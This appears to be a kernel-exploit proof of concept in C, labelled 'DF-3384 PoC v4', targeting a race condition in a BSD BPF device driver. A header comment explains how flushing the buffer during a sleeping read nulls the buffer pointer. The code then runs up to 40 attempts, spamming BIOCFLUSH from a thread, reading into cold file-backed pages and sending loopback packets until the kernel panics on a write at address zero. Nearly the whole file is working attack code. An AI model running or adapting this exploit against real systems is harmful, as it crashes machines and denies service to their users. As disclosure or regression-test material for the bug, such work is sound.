/*
 * DF-3384 PoC v4 — cold file-backed pages: bpfread()'s uiomove() copies the
 * ~512KiB hold buffer into never-touched pages of a file that was just
 * written past RAM size (evicted from the page cache).  Each of the ~128
 * page faults performs disk I/O, the reader thread SLEEPS (bpf_token
 * released), and the spamming BIOCFLUSH thread lands in that window:
 *
 *   bpf_resetd():  bd_fbuf = bd_hbuf; bd_hbuf = NULL;
 *   reader wakes:  bd_fbuf = bd_hbuf (NULL)   <-- buffer pointer LOST
 *   next immediate read rotates: bd_sbuf := bd_fbuf := NULL
 *   next loopback packet: catchpacket() writes bpf_hdr through NULL
 *
 * Expected: panic (kernel fault on write at vaddr 0).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/in.h>
#include <err.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSZ	0x80000

static int sendsock = -1;
static struct sockaddr_in sin;
static int coldfd;

static void
send_pkt(int n)
{
	char pkt[1400];
	int i;

	if (sendsock < 0) {
		sendsock = socket(AF_INET, SOCK_DGRAM, 0);
		if (sendsock < 0)
			err(1, "socket");
	}
	memset(pkt, 0x44, sizeof(pkt));
	for (i = 0; i < n; i++)
		if (sendto(sendsock, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)&sin, sizeof(sin)) < 0)
			err(1, "sendto");
}

static int fd;
static volatile int stop_spam;

static void *
flusher(void *arg)
{
	while (!stop_spam)
		ioctl(fd, BIOCFLUSH);
	return (NULL);
}

static void
bindif(int f, const char *name)
{
	struct ifreq ifr;

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	if (ioctl(f, BIOCSETIF, &ifr) < 0)
		err(1, "BIOCSETIF(%s)", name);
}

int
main(void)
{
	u_int big = BUFSZ, one = 1;
	int attempt;
	char *rb;
	pthread_t th;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9997);
	sin.sin_addr.s_addr = htonl(0x7f000001);

	coldfd = open("/root/poc/cold", O_RDWR);
	if (coldfd < 0)
		err(1, "open cold file");

	for (attempt = 1; attempt <= 40; attempt++) {
		stop_spam = 0;
		fd = open("/dev/bpf", O_RDWR);
		if (fd < 0)
			err(1, "open /dev/bpf (attempt %d)", attempt);
		if (ioctl(fd, BIOCSBLEN, &big) < 0)
			err(1, "BIOCSBLEN");
		bindif(fd, "lo0");
		ioctl(fd, BIOCIMMEDIATE, &one);

		/* fresh 512KiB window of cold file pages */
		rb = mmap(NULL, big, PROT_READ | PROT_WRITE, MAP_SHARED,
			  coldfd, (off_t)(attempt - 1) * big);
		if (rb == MAP_FAILED)
			err(1, "mmap attempt %d", attempt);

		send_pkt(400);		/* rotate: hold buffer ~512KiB */

		if (pthread_create(&th, NULL, flusher, NULL) != 0)
			err(1, "pthread_create");
		if (read(fd, rb, big) < 0)
			err(1, "read#1");
		stop_spam = 1;
		pthread_join(th, NULL);

		send_pkt(1);
		if (read(fd, rb, big) < 0)
			err(1, "read#2");

		printf("[+] attempt %d: final packet\n", attempt);
		fflush(stdout);
		send_pkt(1);

		usleep(50000);
		printf("[-] attempt %d survived\n", attempt);
		fflush(stdout);
		close(fd);
		munmap(rb, big);
	}
	printf("[-] no panic\n");
	return (0);
}
